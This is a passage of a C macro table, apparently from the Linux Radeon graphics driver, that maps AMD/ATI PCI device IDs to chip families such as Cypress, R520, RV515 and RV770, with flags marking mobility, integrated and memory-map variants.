{0x1002, 0x682B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x682C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x682D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x682F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6830, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6831, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6835, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6837, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6838, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6839, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x683B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x683D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x683F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6840, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6841, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6842, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6843, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6849, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x684C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6850, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6858, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6859, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6880, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6888, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6889, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x688A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x688C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x688D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6898, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6899, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x689b, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x689c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HEMLOCK|RADEON_NEW_MEMMAP}, \
{0x1002, 0x689d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HEMLOCK|RADEON_NEW_MEMMAP}, \
{0x1002, 0x689e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CYPRESS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68a0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68a1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68a8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68a9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68b0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68b8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68b9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68ba, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68be, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68bf, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_JUNIPER|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68c0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68c1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68c7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68c8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68c9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68d8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68d9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68da, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68de, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_REDWOOD|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68e9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68f1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68f2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68f8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68f9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68fa, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x68fe, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CEDAR|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7100, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7101, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7102, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7103, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7104, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7105, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7106, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7108, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7109, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x710A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x710B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x710C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x710E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x710F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R520|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7140, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7141, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7142, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7143, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7144, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7145, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7146, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7147, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7149, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x714F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7151, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7152, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7153, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x715E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x715F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7180, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7181, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7183, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7186, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7187, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7188, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x718A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x718B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x718C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x718D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x718F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7193, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7196, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x719B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x719F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C3, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71C7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71CD, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71CE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71D2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71D4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71D5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71D6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71DA, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_NEW_MEMMAP}, \
{0x1002, 0x71DE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV530|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7200, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7210, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7211, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV515|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7240, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7243, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7244, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7245, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7246, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7247, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7248, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7249, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x724F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7280, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV570|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7281, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7283, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7284, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R580|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7287, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7288, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV570|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7289, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV570|RADEON_NEW_MEMMAP}, \
{0x1002, 0x728B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV570|RADEON_NEW_MEMMAP}, \
{0x1002, 0x728C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV570|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7290, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7291, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7293, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7297, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV560|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7834, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS300|RADEON_IS_IGP|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7835, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS300|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x791e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS690|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x791f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS690|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x793f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS600|RADEON_IS_IGP|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7941, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS600|RADEON_IS_IGP|RADEON_NEW_MEMMAP}, \
{0x1002, 0x7942, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS600|RADEON_IS_IGP|RADEON_NEW_MEMMAP}, \
{0x1002, 0x796c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS740|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x796d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS740|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x796e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS740|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x796f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS740|RADEON_IS_IGP|RADEON_NEW_MEMMAP|RADEON_IS_IGPGART}, \
{0x1002, 0x9400, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9401, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9402, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9403, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9405, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x940A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x940B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x940F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R600|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94A0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94A1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94A3, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94B1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94B3, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94B4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94B5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94B9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV740|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9440, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9441, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9442, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9443, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9444, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9446, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x944A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x944B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x944C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x944E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9450, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9452, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9456, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x945A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x945B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
